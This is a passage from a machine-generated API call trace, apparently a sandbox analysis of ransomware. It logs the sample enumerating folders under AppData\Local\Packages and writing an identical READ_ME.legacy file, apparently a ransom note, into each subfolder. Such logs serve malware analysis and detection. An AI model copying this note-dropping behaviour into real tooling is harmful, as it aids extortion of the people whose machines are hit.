"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.310] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.311] CloseHandle (hObject=0x86c) returned 1 [0153.311] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.311] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.321] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.322] CloseHandle (hObject=0x86c) returned 1 [0153.322] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.322] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.323] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.323] CloseHandle (hObject=0x86c) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.324] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32bf560, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563c38 [0153.324] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32bf560, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe8f2692, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.324] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.326] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.327] CloseHandle (hObject=0x870) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.327] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.328] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.329] CloseHandle (hObject=0x870) returned 1 [0153.329] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.329] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.330] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.330] CloseHandle (hObject=0x870) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.330] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.331] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.332] CloseHandle (hObject=0x870) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32bf560, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe32bf560, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.332] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.332] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.333] CloseHandle (hObject=0x870) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.333] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.334] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.335] CloseHandle (hObject=0x870) returned 1 [0153.335] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.335] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.336] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.336] CloseHandle (hObject=0x870) returned 1 [0153.337] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.337] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0153.337] WriteFile (in: hFile=0x870, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.338] CloseHandle (hObject=0x870) returned 1 [0153.338] FindNextFileW (in: hFindFile=0x563c38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.338] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e848 [0153.338] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.338] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x38951974, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3281324d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3281324d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.340] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.341] CloseHandle (hObject=0x874) returned 1 [0153.341] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa74099, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.341] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.343] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.343] CloseHandle (hObject=0x874) returned 1 [0153.343] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa746ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.343] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.344] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.345] CloseHandle (hObject=0x874) returned 1 [0153.345] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa74ddb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x388df267, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.345] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.346] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.346] CloseHandle (hObject=0x874) returned 1 [0153.347] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32e57eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe32e57eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.347] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa75343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.347] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.347] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.348] CloseHandle (hObject=0x874) returned 1 [0153.348] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7120db5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7120db5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.348] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.357] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, 